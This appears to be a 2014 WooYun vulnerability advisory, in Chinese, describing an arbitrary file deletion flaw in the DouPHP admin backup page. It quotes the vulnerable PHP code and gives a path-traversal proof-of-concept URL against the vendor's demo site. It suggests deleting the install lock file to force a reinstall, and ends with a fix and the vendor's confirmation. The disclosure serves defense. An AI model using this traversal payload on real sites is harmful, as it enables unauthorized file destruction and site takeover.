当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-060589

漏洞标题：DouPHP轻量级企业建站系统后台任意文件删除缺陷

相关厂商：douco.com

漏洞作者： Pany自留地

提交时间：2014-06-24 11:23

修复时间：2014-09-22 11:24

公开时间：2014-09-22 11:24

漏洞类型：设计缺陷/逻辑错误

危害等级：低

自评Rank：4

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-06-24： 细节已通知厂商并且等待厂商处理中
2014-06-26： 厂商已经确认，细节仅向厂商公开
2014-06-29： 细节向第三方安全合作伙伴开放
2014-08-20： 细节向核心白帽子及相关领域专家公开
2014-08-30： 细节向普通白帽子公开
2014-09-09： 细节向实习白帽子公开
2014-09-22： 细节向公众公开

简要描述：

某处未验证删除的文件路径，导致可以删除任意文件。
官网演示站测试通过

详细说明：

漏洞文件: /admin/backup.php
第161行

/**
 +----------------------------------------------------------
 * 备份删除
 +----------------------------------------------------------
 */
if ($_REQUEST['rec'] == 'del')
{
	$sql_file_name = $_GET['sql_file_name'];
	if ($_POST['confirm'])
	{
	  if (file_exists("../data/backup/" . $sql_file_name))
		{
			@unlink("../data/backup/" . $sql_file_name);
		}
		$dou->create_admin_log($_LANG['backup_del'] . ": " . $sql_file_name);
		$dou->dou_msg($_LANG['backup_del_success'], 'backup.php?rec=restore');
	}
	else
	{
		$_LANG['del_check'] = preg_replace('/d%/Ums', $sql_file_name, $_LANG['del_check']);
		$dou->dou_msg($_LANG['del_check'], 'backup.php?rec=restore', '', '30', "backup.php?rec=del&sql_file_name=$sql_file_name");
	}
}


条件：
1、进入此函数需要后台管理员权限
用途？在某些地方，删掉了某些配置，可以导致变量未初始化从而进行利用
比如说安装后生成的lock文件,导致站点可以被重新安装

漏洞证明：

http://demo.douco.com/admin/backup.php?rec=del&sql_file_name=../../../robots.txt

QQ拼音截图未命名.jpg


QQ拼音截图未命名.jpg


修复方案：

验证绝对路径，
只允许备份目录内的文件。

版权声明：转载请注明来源 Pany自留地@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2014-06-26 20:11

厂商回复：

已经修正，谢谢反馈

最新状态：

暂无